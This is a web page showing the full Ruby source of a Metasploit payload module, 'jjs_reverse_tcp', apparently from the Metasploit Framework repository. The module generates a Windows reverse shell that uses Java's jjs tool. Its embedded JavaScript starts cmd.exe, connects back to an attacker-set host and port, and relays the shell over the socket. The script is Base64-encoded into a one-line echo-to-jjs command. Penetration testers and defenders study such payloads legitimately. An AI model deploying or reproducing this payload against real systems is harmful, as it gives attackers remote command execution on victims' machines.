Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 86778include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Shell, Reverse TCP (via jjs)',16'Description' => 'Connect back and create a command shell via jjs',17'Author' => [18'conerpirate', # jjs reverse shell19'bcoles' # metasploit20],21'References' => [22['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],23['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],24['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html']25],26'License' => MSF_LICENSE,27'Platform' => 'win',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::ReverseTcp,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'jjs',33'Payload' => { 'Offsets' => {}, 'Payload' => '' }34)35)36register_options([37OptString.new('SHELL', [ true, 'The shell to execute.', 'cmd.exe' ]),38OptString.new('JJS_PATH', [true, 'The path to the JJS executable', 'jjs.exe'])39])40end4142def generate43return super + command_string44end4546def command_string47lhost = datastore['LHOST']48lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)4950jcode = %{51var ProcessBuilder=Java.type("java.lang.ProcessBuilder");52var p=new ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();53var ss=Java.type("java.net.Socket");54var s=new ss("#{lhost}",#{datastore['LPORT']});55var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();56var po=p.getOutputStream(),so=s.getOutputStream();57while(!s.isClosed()){58while(pi.available()>0)so.write(pi.read());59while(pe.available()>0)so.write(pe.read());60while(si.available()>0)po.write(si.read());61so.flush();62po.flush();63Java.type("java.lang.Thread").sleep(50);64try{p.exitValue();break;}catch(e){}65};66p.destroy();s.close();67}68minified = jcode.split("\n").map(&:lstrip).join6970%{echo eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}'))); | #{datastore['JJS_PATH']}}71end72end737475